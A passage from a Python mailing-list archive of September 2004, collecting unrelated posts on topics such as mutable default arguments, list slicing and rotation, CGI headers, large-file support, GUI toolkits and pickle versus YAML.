Is there a shopping cart in Python available?


From julien.sagnard.withoutthis at free.fr  Wed Sep 22 04:19:45 2004
From: julien.sagnard.withoutthis at free.fr (Julien Sagnard)
Date: Wed, 22 Sep 2004 10:19:45 +0200
Subject: Somthing strange with list as default argument
Message-ID: <415135a2$0$2388$626a14ce@news.free.fr>

Hi all,

When passing a list as default argument for a function, only one list is 
created for all calls.
exemple:
 >>> def f(a=[]):
...     a.append("x")
...     print a
...
 >>> f()
['x']
 >>> f()
['x', 'x']
 >>> f()
['x', 'x', 'x']
 >>> f()
['x', 'x', 'x', 'x']
 >>>

I'm not found any reference of this. Is it a bug ?
I'm working on Windows 2000 with python 2.3.4


From a.schmolck at gmx.net  Tue Sep 21 12:08:43 2004
From: a.schmolck at gmx.net (Alexander Schmolck)
Date: Tue, 21 Sep 2004 17:08:43 +0100
Subject: python is going to die! =(
References: <mailman.3520.1095631846.5135.python-list@python.org>
	<278de0e.0409201131.57baf7f9@posting.google.com>
	<414f61bf$0$29449$636a15ce@news.free.fr>
	<rwJ3d.1000$g42.675@newsread3.news.pas.earthlink.net>
Message-ID: <yfsvfe7ioz8.fsf@black4.ex.ac.uk>

Andrew Dalke <adalke at mindspring.com> writes:

> bruno modulix wrote:
>> Well, you forgot emacs, the best Python IDE around - and it's free...
>
> Speaking of which, is there any way to get tab-completion
> (intellisense?) behaviour in emacs?  Or in the interactive
> interpreter?

Ipython (with or without my hacky emacs support) will give you such
functionality in the interactive interpreter. If someone had some spare time,
maybe the bicycle repair man infrastructure could be leveraged for quite
sophisticated completion support (and more).

'as


From beliavsky at aol.com  Fri Sep 17 13:27:39 2004
From: beliavsky at aol.com (beliavsky at aol.com)
Date: 17 Sep 2004 10:27:39 -0700
Subject: getting the function name
Message-ID: <3064b51d.0409170927.584a10b3@posting.google.com>

Is there a way in Python to print the name of the function one is
currently in?
The code

def foo():
    debug = True
    if (debug):
        print "entered",__name__

x = foo()

outputs "entered __main__"

I want to print "entered foo". Of course I could just hard-code the
string "foo" in a print statement, but I don't want to have the
function name written in more than one place.


From alex_stante at yahoo.de  Sun Sep 12 12:38:40 2004
From: alex_stante at yahoo.de (Alexander Stante)
Date: 12 Sep 2004 09:38:40 -0700
Subject: Problems with subclassing
Message-ID: <ci1u2g$n00@odah37.prod.google.com>

Hello,

I have the following problem. I want to subclass from the pygame class
Surface, but I can't get it working:

class sprite(Surface):
def __init__(self, image_array, palette):
"some code here"

when I want to create a instance with:

gfx.sprite(arrayi, palette)


I get the following error message:
TypeError: argument 1 must be sequence of length 2, not 100

It seems that the constructor of Surface is not overrided by the one in
sprite, but why?



From claird at lairds.us  Thu Sep 30 01:08:03 2004
From: claird at lairds.us (Cameron Laird)
Date: Thu, 30 Sep 2004 05:08:03 GMT
Subject: multiple instance on Unix
References: <52324E76-123E-11D9-B04E-0003938543A0@orthogonsystems.com>
	<415AF802.1080909@bellsouth.net>
	<mailman.4104.1096493884.5135.python-list@python.org>
	<x7d604xxv3.fsf@guru.mired.org>
Message-ID: <fngs22-orb.ln1@lairds.us>

In article <x7d604xxv3.fsf at guru.mired.org>, Mike Meyer  <mwm at mired.org> wrote:
			.
			.
			.
>The (old) standard method for locking on Unix is to use a file. Open
>it in exclusive mode. Using os.open(<filename>, O_EXCL | O_RDONLY) (or
>O_WRONLY, or O_RDWR) should do the trick.
			.
			.
			.
*My* favorite is to open a server socket; its semantics are
exactly those one wants, without having to tend to filesystem
hygiene with its attendant race and security challenges.


From sholden at flexal.cs.usyd.edu.au  Fri Sep 10 05:18:03 2004
From: sholden at flexal.cs.usyd.edu.au (Sam Holden)
Date: 10 Sep 2004 09:18:03 GMT
Subject: Request Headers In a CGI
References: <6f402501.0409100102.3fa002ea@posting.google.com>
Message-ID: <slrnck2sab.9d5.sholden@flexal.cs.usyd.edu.au>

On 10 Sep 2004 02:02:23 -0700, Michael Foord <fuzzyman at gmail.com> wrote:
> Is it possible to get at the http request headers in a normal CGI ?
>
> I can't touch the server, so I can't install anything like mod_python.
> I've tried googling but the answer seems to be 'no'.
>
> I know I can reconstruct *most* headers from the environment variables
> - is this my only option ? I've heard of 'non-parsed headers', but I
> don't know how to use them from within a python cgi....

Non-parsed headers are unrelated - they involve the web server not
parsing the CGI response headers but instead sending them directly to
the browser.

What you want can't be done. You can reconstruct most of what you want
via the environment, but not all of it. HTTP Authentication passwords
leap to mind.

-- 
Sam Holden


From anon at ymous.com  Thu Sep 16 21:51:00 2004
From: anon at ymous.com (Anon)
Date: Fri, 17 Sep 2004 01:51:00 GMT
Subject: optimizing memory utilization
References: <pan.2004.09.14.04.38.02.647096@ymous.com>
	<mailman.3377.1095271202.5135.python-list@python.org>
Message-ID: <pan.2004.09.17.01.58.10.977447@ymous.com>

On Wed, 15 Sep 2004 14:59:45 +0000, John Lenton wrote:

> On Tue, Sep 14, 2004 at 04:39:49AM +0000, Anon wrote:
>> Hello all,
>> 
>> I'm hoping for some guidance here...  I am a c/c++ "expert", but a
>> complete python virgin.  I'm trying to create a program that loads in
>> the entire FreeDB database (excluding the CDDBID itself) and uses this
>> "database" for other subsequent processing.  The problem is, I'm
>> running out of memory on a linux RH8 box with 512MB.  The FreeDB
>> database that I'm trying to load is presently consisting of two "CSV"
>> files.  The first file contains a "list" of albums with artist name and
>> an arbitrary sequential album ID an the CDDBID (an ascii-hex
>> representation of a 32-bit value). The second file contains a list of
>> all of the tracks on each of the albums, crossreferenced via the album
>> ID.  When I load into memory, I create a python list where each entry
>> in the list is itself a list representing the data for a given album. 
>> The album data list consists of a small handful of text items like the
>> album title, author, genre, and year, as well as a list which itself
>> contains a list for each of the track on the album.
>> 
>> [[<Alb1ID#>, '<Alb1Artist>', '<Alb1Title>', '<Alb1Genre>','<Alb1Year>',
>>   [["Track1", 1], ["Track2", 2], ["Track3", 3], ..., ["TrackN",N]],
>>  [<Alb2ID#>, '<Alb2Artist>', '<Alb2Title>', '<Alb2Genre>','<Alb2Year>',
>>   [["Track1", 1], ["Track2", 2], ["Track3", 3], ..., ["TrackN",N]],
>>     ...
>>  [<AlbNID#>, '<AlbNArtist>', '<AlbNTitle>', '<AlbNGenre>','<AlbNYear>',
>>   [["Track1", 1], ["Track2", 2], ["Track3", 3], ..., ["TrackN",N]]]]
> 
> silly question: have you looked into using tuples instead of lists for
> the inner objects? They're supposed to be more memory efficient,
> although I have found that that isn't necessarily the case.

That's exactly the kind of feedback that I was looking for when I asked
the question.  However the suggestion that MusicBrainz already does what I
want in a possibly more accurate way looks like it might be an even better
suggestion, leaving me to concentrate my efforts on some other
as-yet-unsolved problem instead!

Thanks!
Wes


From klapotec at chello.at  Wed Sep  1 22:03:33 2004
From: klapotec at chello.at (Christopher Koppler)
Date: Thu, 02 Sep 2004 02:03:33 GMT
Subject: negative stride list slices
References: <8a638f47.0409010941.7f1cbbad@posting.google.com>
	<r7oZc.6653$MR2.32885@news1.mts.net> <2pmj4aFmofl2U1@uni-berlin.de>
	<evqZc.6862$MR2.33137@news1.mts.net> <ch5e3r$o8c$1@sea.gmane.org>
	<mailman.2738.1094075786.5135.python-list@python.org>
Message-ID: <pan.2004.09.02.02.03.32.977644@chello.at>

On Wed, 01 Sep 2004 14:57:57 -0700, Shalabh Chaturvedi wrote:

> Shalabh Chaturvedi wrote:
> 
>> I'd like to add:
>> 
>>   +---+---+---+---+---+
>>   | H | e | l | p | A |
>>   +---+---+---+---+---+
>>   0   1   2   3   4   5
>>  -5  -4  -3  -2  -1
>>   |                   |
>>  start               end   (defaults for +ve step)
>>  end                 start (defaults for -ve step)
>> 
>> (Is this correct?)
> 
> Apparently not.

That should be

 +---+---+---+---+---+
 | H | e | l | p | A |
 +---+---+---+---+---+
 0   1   2   3   4   5
-6  -5  -4  -3  -2  -1
 |                   |
start               end   (defaults for +ve step)
end                 start (defaults for -ve step)

> 
>  >>> "HelpA"[-1:-2:-1]
> 'A'
> 
> I would expect 'p'. Also,
> 
>  >>> "HelpA"[:-1:-1]
> ''
> 
> And I definitely expected 'A'. Now I find it confusing too.
> 
> Does anyone else find it intuitive to expect that S[b:a:-1] be exactly 
> reverse of S[a:b:1]?

As others have explained, that's not easily possible because of Python's
zero-based indexing, which in general is great, but can lead to confusion
because using negative strides indices begin with -1.

> 
> This is only true for S[::1] and S[::-1]. In other cases, for -ve step, 
> the -ve indices seem to indicate a shifted position. I'm using Python 2.3.3.

The defaults here map to S[0:len(S):1] and S[-1:-len(S)-1:-1].

-- 
Christopher



From jerf at jerf.org  Thu Sep 30 15:48:37 2004
From: jerf at jerf.org (Jeremy Bowers)
Date: Thu, 30 Sep 2004 19:48:37 GMT
Subject: List rotation
References: <cjftdv$ofl$1@news8.svr.pol.co.uk>
Message-ID: <pan.2004.10.02.01.49.08.266446@jerf.org>

On Thu, 30 Sep 2004 04:11:47 +0100, M. Clift wrote:

> Hi All,
> 
> Could someone help me out with this?
> 
> items = ('a', 'b', 'c', 'd')
> items + 1 = ( 'b', 'c', 'd', 'a')
> items + 2 = ( 'c', 'd', 'a', 'b')
> items + 3 = ( 'd', 'a', 'b', 'c')

I keep seeing this come up and waiting for someone to post this answer,
which is what I think I would use. It happens to nearly work like you
wrote, too, though I actually had this idea formulated before your post:

----------------

class Rotater(object):
    """Rotater takes a sequence of fixed length (__len__ is
    defined) that uses __getitem__ from 0 to len - 1, and translates
    accesses such that the resulting list appears rotated, without
    building any new lists.

    Usage examples:

    >>> l = ['a', 'b', 'c', 'd', 'e']
    >>> r = Rotater(l) # No initial translation
    >>> r[0] == 'a'
    True
    >>> r[-1] == 'e'
    True
    >>> r += 1 # translate by one more
    >>> r[0] == 'b'
    True
    >>> r[-1] == 'a'
    True
    >>> list(r) == ['b', 'c', 'd', 'e', 'a']
    True
    >>> r += 9 # can go beyond one rotation
    >>> list(r) == l
    True
    >>> r -= 11 # can use negative rotation
    >>> list(r)
    ['e', 'a', 'b', 'c', 'd']
    >>> list(r+1)
    ['a', 'b', 'c', 'd', 'e']
    >>> list(r-1)
    ['d', 'e', 'a', 'b', 'c']
    >>> list(1+r)
    ['a', 'b', 'c', 'd', 'e']
    """

    def __init__(self, wrapped, offset = 0):
        self.wrapped = wrapped
        self.offset = offset

    def __getitem__(self, index):
        index += self.offset
        index %= len(self.wrapped)
        return self.wrapped[index]

    def __iadd__(self, offset):
        self.offset += offset
        return self

    def __isub__(self, offset):
        self.offset -= offset
        return self

    def __add__(self, offset):
        return Rotater(self.wrapped, self.offset + offset)
    def __sub__(self, offset):
        return Rotater(self.wrapped, self.offset - offset)
    def __radd__(self, offset):
        return Rotater(self.wrapped, self.offset + offset)

    def __iter__(self):
        for i in range(len(self.wrapped)):
            yield self[i]

if __name__ == "__main__":
    import sys
    import doctest
    doctest.testmod(sys.modules[__name__])

------------

This wins big for large lists that are rotated a lot by not constructing
extra lists. Note changes to the underlying lists are reflected in the
rotations, which can be a feature or a mis-feature depending on the
problem. In the small, it can be more convenient to work with than the
other solutions... or not, again depending on the problem.



From python473 at yahoo.com  Wed Sep  1 17:14:28 2004
From: python473 at yahoo.com (John Howard)
Date: 1 Sep 2004 14:14:28 -0700
Subject: file access in jythonc
References: <9eabe547.0408210611.d5e54f7@posting.google.com>
	<9eabe547.0408301406.2543e691@posting.google.com>
	<ch09pi$dh2$04$1@news.t-online.com>
	<9eabe547.0408311130.73beef80@posting.google.com>
	<ch34li$86k$05$1@news.t-online.com>
	<9eabe547.0409010600.4d566928@posting.google.com>
	<iQkZc.26276$Z14.8357@news.indigo.ie>
Message-ID: <9eabe547.0409011314.77bcc7b5@posting.google.com>

Alan Kennedy <alanmk at hotmail.com> wrote in message news:<iQkZc.26276$Z14.8357 at news.indigo.ie>...
> [John Howard]
> > So does that mean that a jre does not have to be on the local pc?
> 
> No: there *must* be a JRE on the local PC: how could the java/jython run 
> at all without an execution environment?
> 
> The JRE on the local PC is the very thing that is preventing you from 
> reading files from local drives.
> 
> If you want to, you can permit any and all applet to load files from 
> your local drive. In Internet Explorer, select 
> "Tools->Options"->Security->Custom Level->Microsoft VM->Java 
> Permissions->Custom->Java Custom Settings.
> 
> In that control panel you can disable all of the protections that your 
> browser puts in place to protect you from hostile applets on the 
> Internet at large. Feel free to dismantle those security barriers, at 
> your own risk: by doing so you're opening the contents of your hard-disk 
> to the world. I Hope you're not storing any private or sensitive 
> information on there.
> 
> > The local pc does not have to set policies, etc. 
> 
> No, that's precisely where you set policies. Where else could they be set?
> 
> Alternatively, as others have pointed out multiple times, you can 
> digitally sign your applets so that they can be recognized and thus 
> given more permissions than unknown applets.
 
I said jre, but meant jvm. But your answer is revealing also! From
what you are saying, it is NOT possible to have a html page that can
access a local file unless at least a jre is present. Again, not good.
I think I'll just write the whole project in C. Forget jython!


From dkuhlman at rexx.com  Sun Sep 26 20:33:20 2004
From: dkuhlman at rexx.com (Dave Kuhlman)
Date: Sun, 26 Sep 2004 17:33:20 -0700
Subject: How to parse multi-part content
References: <2rjb2cF1b34ofU1@uni-berlin.de>
	<npncl0d2np610d5jqs8loq9pgpl34o4bgm@4ax.com>
Message-ID: <2rp5dmF1cgkbkU1@uni-berlin.de>

Tim Roberts wrote:

> Dave Kuhlman <dkuhlman at rexx.com> wrote:
>>
>>Suppose that I have content that looks like what I've included at
>>the end of this message.  Is there something in the standard
>>Python library that will help me parse it, break into the parts
>>separated by the boundary strings, extract headers from each
>>sub-part, etc?
>>...
>>In case you are curious, this is content posted to my Zope server
>>when I include an element '<input type="file" .../>' in my form.
> 
> Actually, you get this because your <form> header has
> enctype="multipart/form-data".  It happens that file upload only works
> with that enctype, but you can use it without a file upload.
> 
> That's why cgi.py knows how to parse this.  Look at cgi.parse_multipart.

Ah. A clue.  I think you're telling me that it's the CGI
specification that I need to be reading, right?  I'll read some of
that.

Per your suggestion, I tried cgi.parse_multipart() and also
class cgi.FieldStorage.  They don't work.  Or more correctly, I
don't know how to use them.

I guess I'll have to concede defeat, which in Python-speak means:
"It was easier to write it myself."

Basically, I wrote a little parser class ContentParser which
exposes a method get_content_by_name.  This method returns the
body (what follows two carriage returns, up to the next
boundary line) for a given name, where name is the value of the
"name" field in the line:

    Content-Disposition: form-data; name="xschemaFile"

I was in a bit of a hurry, so my solution (class ContentParser) is
not very elegant.  But if anyone needs it, let me know.

And, thanks for the suggestions.

Dave


-- 
Dave Kuhlman
http://www.rexx.com/~dkuhlman


From martindemello at yahoo.com  Thu Sep  2 05:45:49 2004
From: martindemello at yahoo.com (Martin DeMello)
Date: Thu, 02 Sep 2004 09:45:49 GMT
Subject: Announcing PyCs, a new Python-like language on .Net
References: <1aj14grs82tj.1eso0930azfaa$.dlg@40tude.net>
	<mailman.2573.1093758218.5135.python-list@python.org>
	<1093794853.349452@news.commspeed.net>
	<mailman.2711.1094020820.5135.python-list@python.org>
	<7Y2dncuabfymLajcRVn-gw@powergate.ca>
	<1iok6gznts9ad.ch1w241kak6y.dlg@40tude.net>
	<pan.2004.09.01.16.39.03.778189@jerf.org>
	<Pine.LNX.4.44.0409012241180.1094-100000@kleigh.nl>
Message-ID: <hZBZc.300361$J06.209110@pd7tw2no>

Peter Kleiweg <in.aqua.scribis at nl.invalid> wrote:
> 
> There are quit a lot of people who think JavaScript and Java are
> the same thing, if not at least remotely related.

Whch is sad, because javascript is actually a much nicer language than
the 'java' part of its name would suggest :)

martin


From des.small at bristol.ac.uk  Wed Sep 22 10:40:47 2004
From: des.small at bristol.ac.uk (Des Small)
Date: Wed, 22 Sep 2004 14:40:47 GMT
Subject: Python speed-up
References: <415186cc$0$3897$4d4ebb8e@news.nl.uu.net>
Message-ID: <yyrjbrfyfjre.fsf@pc156.maths.bris.ac.uk>

"Guyon Mor?e" <gumuz at NO_looze_SPAM.net> writes:

> Hi all,
> 
> I am working on a Huffman encoding exercise, but it is kinda slow. This is
> not a big problem, I do this to educate myself :)
> 
> So I started profiling the code and the slowdown was actually taking place
> at places where I didn't expect it.
> 
> after I have created a lookup-table-dictionary with encodings like
> {'d':'0110', 'e':'01' etc} to encode the original text like this:
> 
> for c in original_text:
>     encoded_text += table[c]

I probably shouldn't be guessing like this, but I know for sure that
Python strings are immutable, and that this has to allocate a new
string every time through the loop.

How about 

encoded_text = ''.join([table[c] for c in original_text]) # untested, beware

instead?

> I can appreciate the length of the text is big, but this isn't a problem at
> character frequency counting for eaxample. Why is this slow?
> 
> 
> the second place the slowdown occurs is when I ty to chop the encoded string
> of 0's and 1's in pieces of eigth like this:
> 
> chr_list = [] # resulting list
> while 1:
>     chr_list.append(encoded_text[:8]) # take 8 bits from string and put them
> in the list
>     encoded_text = encoded_text[8:] # truncate the string
>     if len(encoded_text) < 8: # end of string reached
>         chr_list.append(encoded_text)
>         break

Again with the mutable strings!  Probably wizards can improve on the
first thing that came to my mind:

chr_list = [encoded_text[i:i+8] 
            for i in range(0, len(encoded_text), 8)] # Tested, but carelessly

At the very least it's shorter my way.

> I hope someone can tell me why these are slow.

Des
isn't sure.
-- 
"[T]he structural trend in linguistics which took root with the
International Congresses of the twenties and early thirties [...] had
close and effective connections with phenomenology in its Husserlian
and Hegelian versions." -- Roman Jakobson


From porky_pig_jr at my-deja.com  Thu Sep  2 20:21:07 2004
From: porky_pig_jr at my-deja.com (Porky Pig Jr)
Date: 2 Sep 2004 17:21:07 -0700
Subject: explainations about standard library and modules in Python.
References: <URJZc.172448$UTP.96931@twister01.bloor.is.net.cable.rogers.com>
Message-ID: <56cfb0e3.0409021621.4759fee7@posting.google.com>

"Hung ho" <hung ho at rogers.com> wrote in message news:<URJZc.172448$UTP.96931 at twister01.bloor.is.net.cable.rogers.com>...
>    My question is that, can anyone recommend me any book, or online 
> materials that could explain what the functions some of the modules in 
> the standard library can do that are packaged along with Python v. 
> 2.3.4?. For example, I read some modules such as os.py, sys.py, and 
> random.py The documents in those modules didn't help me to comprehend 
> what the purpose of the modules, and how to use them in Python. What are 
> their functions, and how do I use them.
>    Thank You.

Python in a Nutshell has a nice concise converage of key functions of
a built-in modules including both os.py and sys.py. 'Programming
Python' goes into greater details, gives lots of coding examples.

I agree on-line information you can retrieve with 'help' can be rather
confusing. Doing something like

help(random)

got me lost in the forest, not seeing the trees. Once again, Python in
a Nutshell has a nice page on random module with a list and short
explanation of key functions. Granted, it mostly duplicates the staff
from help(random), but it lists only those you really need to know to
start using random.


From danb_83 at yahoo.com  Mon Sep 20 08:11:03 2004
From: danb_83 at yahoo.com (Dan Bishop)
Date: 20 Sep 2004 05:11:03 -0700
Subject: Math errors in python
References: <linok0tk1d0cftbh9092j31mpglj2petls@4ax.com>
	<pan.2004.09.19.13.27.17.613143@jerf.org>
	<Ooa3d.318$Pz3.245@trndny01>
	<mailman.3490.1095579571.5135.python-list@python.org>
	<70b3d.1822$uz1.747@trndny03>
	<mailman.3534.1095656825.5135.python-list@python.org>
	<0mssk056r9vp6qodi5drbin95g2gv58dem@4ax.com>
	<QVu3d.5383$gG4.1881@newsread1.news.pas.earthlink.net>
Message-ID: <ad052e5c.0409200411.1ca100ce@posting.google.com>

Andrew Dalke <adalke at mindspring.com> wrote in message news:<QVu3d.5383$gG4.1881 at newsread1.news.pas.earthlink.net>...
> Andrea:
> > This is from the Bible...
> > 
> > 007:023 And he made a molten sea, ten cubits from the one brim to the
> >         other: it was round all about, and his height was five cubits:
> >         and a line of thirty cubits did compass it round about.
> > 
> > So it's clear that pi must be 3
> 
> Or that the walls were 0.25 cubits thick, if you're talking
> inner diameter vs. outer.  ;)

Or it could be 9.60 cubits across and 30.16 cubits around, and the
numbers are rounded to the nearest cubit.

Also, I've heard that the original Hebrew uses an uncommon spelling of
the word for "line" or "circumference".  Perhaps that affects the
meaning.


From jdhunter at ace.bsd.uchicago.edu  Thu Sep 23 11:07:08 2004
From: jdhunter at ace.bsd.uchicago.edu (John Hunter)
Date: Thu, 23 Sep 2004 10:07:08 -0500
Subject: lfs confusion
Message-ID: <m2pt4dvxb7.fsf@mother.paradise.lost>


I am a bit confused about LFS in python.  In the olden days, I used
the following to test whether python and my kernel supported large
files

    >>> fd = open('/dev/null', 'rw')
    >>> fd.tell()
    0L

If 0L was returned, LFS was enabled, if 0 was returned, LFS was not
enabled.

I built python with LFS

  499  CFLAGS='-D_LARGEFILE64_SOURCE -D_FILE_OFFSET_BITS=64' OPT="-g -O2 $CFLAGS"         ./configure
  501  make
  502  make install

But fd.tell() returned 0.  I wrote a little script to create a large
file >4GB

    [root at crcdocs tmp]# cat lfs_write.py
    fd = file('test2.dat', 'w')

    SIZE = 4096
    STOP = 2**32
    total = 0
    s = 'a'*SIZE
    while total<STOP:
        fd.write(s)
        total += SIZE
        print total


    print fd.tell()


and it ran without incident, reporting at the end 4294967296 (no L).
So I can at least write files past the 2GB limit (and I wrote a script
to verify that I could read the who file too).  

I am installing a zope server and will need to create a Data.fs that
exceeds the 2GB limit.  

Is the fd.tell() 0L trick no longer valid.  What is the right way to
test for LFS support in python?

JDH


From davin at wordpainter.net  Thu Sep 30 14:54:47 2004
From: davin at wordpainter.net (Davin Boling)
Date: Thu, 30 Sep 2004 18:54:47 GMT
Subject: Outputting to specific sound channels?
Message-ID: <WDY6d.2397168$6p.406211@news.easynews.com>

I'm a rather new programmer - been messing around with Python for about 
half a year or so. I play a few online games and run a Teamspeak server. 
Recently I've found myself wanting to make a "sound board" program that 
lets me play prerecorded sounds over the microphone channel. :D

What is the best way to go about doing this? I don't believe there's 
anything in the standard library that handles this, so I'd *probably* 
want to use SDL or something similar. Does anyone know of a solution 
that not only allows you to play sounds from Python, but also output 
those sounds to a channel other than Wave? (such as Microphone)

Thanks in advance, I'll toss any worthwhile creations that result from 
the knowledge your way. ;D


From corey.coughlin at attbi.com  Thu Sep 23 20:31:21 2004
From: corey.coughlin at attbi.com (Corey Coughlin)
Date: 23 Sep 2004 17:31:21 -0700
Subject: up with PyGUI!
References: <mailman.3318.1095180577.5135.python-list@python.org>
Message-ID: <a8623416.0409231631.4c993fb7@posting.google.com>

Alright, here's the question I'm going to start asking whenever anyone
starts promoting a new gui for python.  Is there an nice gui-driven
gui creation tool to go with this?  I realize that you're really happy
with the API and all, but if there were a nice gui maker along with a
nice python ide to go along with it, you'd probably make a lot more
converts.  And for once, it'd be nice to see a gui maker that isn't a
thin wrapper of some C++ gui maker and doesn't produce some crappy
non-python data file that another C++ program uses to make a library
or some such bs.  Just have it produce a nice python loop or
something, that'd be good.  Do that, make it truly cross platform,
free and add a nice python ide, and you're well on your way to making
it the standard python gui.


"Zooko O'Whielacronx" <zooko at zooko.com> wrote in message news:<mailman.3318.1095180577.5135.python-list at python.org>...
> I'm a fan of Greg Ewing's PyGUI [1].  I used it to code a simple game 
> for my son [2], and enjoyed it.  Programming with wxPython feels like 
> programming with a C++ tool that has been wrapped in Python.  
> Programming with PyGUI feels like programming with a real Python tool.
> 
> If you're developing a commercial application in Python, wxPython is 
> currently the only option that offers native widgets on w32.  It would 
> be a boost for Python if PyGUI got a native w32 backend.
> 
> Therefore, I offer the following suggestions:
> 
> Python programmers: use PyGUI!  It's nice.  Contribute bug reports and 
> so forth.
> 
> Python developers: Is it too early to include PyGUI in the standard 
> library?  It seems stable to me.
> 
> PSF: If anyone applies for a grant [3] to put a proper w32 backend into 
> PyGUI, please give them money.  I would offer to do that job myself, 
> but (a) I'm not w32 expert and (b) I'm busy trying to make one of those 
> aforementioned commercial apps.
> 
> Thanks,
> 
> Zooko, Journeyman Hacker
> 
> [1] http://www.cosc.canterbury.ac.nz/~greg/python_gui/
> [2] http://zooko.com/log-2004.html#d2004-06-23
> [3] http://python.org/psf/call-2004.html


From rattan at cps.cmich.edu  Fri Sep 24 14:52:08 2004
From: rattan at cps.cmich.edu (Ishwar Rattan)
Date: 24 Sep 2004 11:52:08 -0700
Subject: Delivered signal info in exit status of a process?
Message-ID: <938a4680.0409241052.72867804@posting.google.com>

Here is a piece code (according to blurb on os.wait, the lower
order 7 bits of exit status of process should contain the signal
number of signal that terminated the process..) and signal number
should be 8 (SIGFPE), similar logic in C-code produces expected
result.

Any pointers?

-ishwar
----
import os

cpid = os.fork()
if cpid == 0:
    2 / 0          # divide by zero
else if cpid > 0:
     ps, st = os.wait()
     print 'child got signal: %d, exit status: %d' %(st&0177, st>>8)

prints::

child got signal: 0, exit status 1
---


From john.thingstad at chello.no  Thu Sep  9 19:04:50 2004
From: john.thingstad at chello.no (John Thingstad)
Date: Fri, 10 Sep 2004 01:04:50 +0200
Subject: Xah Lee's Unixism
References: <ruehj05n8i2afsgnk9frq9bp98n520jl55@4ax.com>
	<uzn47qezk.fsf@mail.comcast.net>
	<rbnhj01438rv46f2op40gsdkcvfh7u6sgo@4ax.com>
	<4139561C.F52D4E4@yahoo.com>
	<10srj09tdkvim71i677g7eh7b2nk1qkmfm@4ax.com>
	<413f03cc$0$6914$61fed72c@news.rcn.com>
	<413F43AC.9D2088AF@yahoo.com> <chntno$ku1$1@grandcanyon.binc.net>
	<10juvnrt88k4868@corp.supernews.com>
	<414069c6$0$6912$61fed72c@news.rcn.com>
	<opsd2vlvy7pqzri1@mjolner.upc.no>
	<2ql1k0t2cgjbmgp34ir47sv5u9ifv5tmem@4ax.com>
Message-ID: <opsd202cospqzri1@mjolner.upc.no>

On Thu, 09 Sep 2004 15:36:29 -0700, Alan Balmer <albalmer at att.net> wrote:

>
> BTW, did you mean "extortion"? Distortion is what we see a lot of
> here, though Hoover may have done some of that too.
>

I guess what I see are endless possibilities of abuse.
No government can be trusted with that type of power.
I feel it is our responsibility as programmers to prevent this type
of abuse of information. I'd rather take my chances with the terrorists.
When you sell out freedom, liberty and justice then what exactly are we  
fighting to protect?
Bader-Meihof groups philosophy was that in order to protect the public  
 from terror
the government would turn the country into a police state. Then the people  
would rebel and
support the revolution. From this point of view Bush is letting the  
terrorist's win by
sacrificing our constitutional rights.

Anyhow this is probably not the place to discuss this...

-- 
Using M2, Opera's revolutionary e-mail client: http://www.opera.com/m2/


From pf_moore at yahoo.co.uk  Sun Sep 19 09:53:22 2004
From: pf_moore at yahoo.co.uk (Paul Moore)
Date: Sun, 19 Sep 2004 14:53:22 +0100
Subject: PyYaml?
References: <2IO2d.1086$HH5.1025@trndny05> <87r7oyfy78.fsf@blakie.riol>
	<l3c3d.1327$HH5.1125@trndny05>
Message-ID: <uy8j6pdpp.fsf@yahoo.co.uk>

"Chris S." <chrisks at NOSPAM.udel.edu> writes:

> Wilk wrote:
>
>> "Chris S." <chrisks at NOSPAM.udel.edu> writes:
>> 
>>>Is there any benefit to Pickle over YAML? Given that Pickle is
>>>insecure, wouldn't it make more sense to support a secure
>>>serialization format, one that's even readable to boot, such as YAML?
>>>There's even a pure Python implementation at www.pyyaml.org
>> There is others advantages using yaml instead of pickle anyway
>> (portability, readability...) Syck is even faster than pickle i
>> think.
>> http://whytheluckystiff.net/syck/
>
> I agree completely, although I've been surprised by the general lack of 
> interest around here. You'd think a more secure, portable, and readable 
> serialization format would be welcomed with open arms, yet most of the 
> comments I've read past and present have been almost hostile.

"Hostile" seems a little exaggerated. The original posting (quoted
above) asked the question "Is there any benefit to Pickle over YAML?"
I suppose that a reasonable answer (from me) might be "not that I
know of", but that begs the question, as I know very little of YAML.

Maybe the original poster (or some other supporter of YAML) could
provide some reasons to think that YAML *might* be superior to
Pickle. Then the people who know about Pickle could respond more
helpfully.

For example, you (Chris S) claim that YAML is "more secure, portable,
and readable". OK, let's take these in turn:

More secure - as others have pointed out, Pickle allows pickling and
unpickling of class instances, and class code can do what it likes in
the constructor (I oversimplify here, as I don't know the details well
myself). Sure, this is a security issue, but it's an inherent
insecurity in the feature, and not limited to Pickle. If YAML
implemented the same feature, it would have the same issues to
resolve. Improving security by removing features isn't a clear win for
YAML (note thet I am not saying that security in exchange for reduced
features might not be a good tradeoff in some cases - I'm addressing
the "replace Pickle with YAML" suggestion, not a suggestion that we
have both).

More portable - hmm, OK. I'm not sure where you want portability
*between*, though. Pickle is, as far as I know, portable across
platforms. Are you talking about portability between languages? I
can't think where I'd want to dump a Python object for loading into
Perl or Ruby, though. Can you offer me some real-life use cases?

More readable - I'll give you this. And yes, it can be useful. I've
been stuffed before now with Java programs whose configuration is
stored as a serialised-to-disk object which is completely opaque to
external tools, let alone human readers. But this is a property that
is useful only in case of failure (if the config gets stuffed, I can
hand-hack the dump file, or if I forget what I set parameter X to, I
can look in the dump). If the application design *requires* the dump
format to be readable, we've moved away from serialisation, and
started to talk about configuration formats (which is a separate
issue, one in which it is quite possible that YAML is strong, but
*not* one in which it is competing with Pickle).

>> But all theses projects seems to sleep...
>
> Can you blame them from the lack of interest? No good idea goes
> unpunished... Ironically, YAML borrows key ideas from several
> languages, including Python.

I have certainly looked at YAML. I have to say that I wasn't really
sure what it *was* though. It seems to claim to be different things
at different times - a serialisation format, a config file format, a
replacement for XML, ... At the time, I was looking for a config
format, and it wasn't *quite* what I wanted, because some of the
serialisation and XML aspects made it slightly clumsy as a config
format. I suspect that people who want to use YAML for serialisation,
or as an XML replacement, may feel the same way. And yet, I don't get
the feeling that YAML is being developed as a "compromise" format, so
I am obviously missing a key design principle.

As regards the existing YAML libraries for Python, when I looked I
found that the PyYAML website claimed that it was out of date with
respect to the latest spec. I also tried SYCK, which looks OK, but
which I did manage to provoke a crash from without trying too hard.
Also, there were a number of features (not that I know how important
they are) marked with "Available in Ruby" (and hence not Python, I
assume, given that other features mention Python explicitly).

None of this is a criticism of YAML and/or its libraries themselves.
However, it does make any suggestion that YAML be used to replace a
key part of the Python standard library seem a little premature, at
least.

I hope this response didn't come across as hostile - I certainly
don't intend it that way. But I do believe that it is the
responsibility of those making the suggestion that YAML replace
pickle to come up with decent arguments. (Or a robust, tested,
documented patch for the Python core, of course - that avoids the
impression that the requester is hoping that someone else will do the
work for him :-))

I'd like to see a strong (this includes "well-documented"!! :-)) YAML
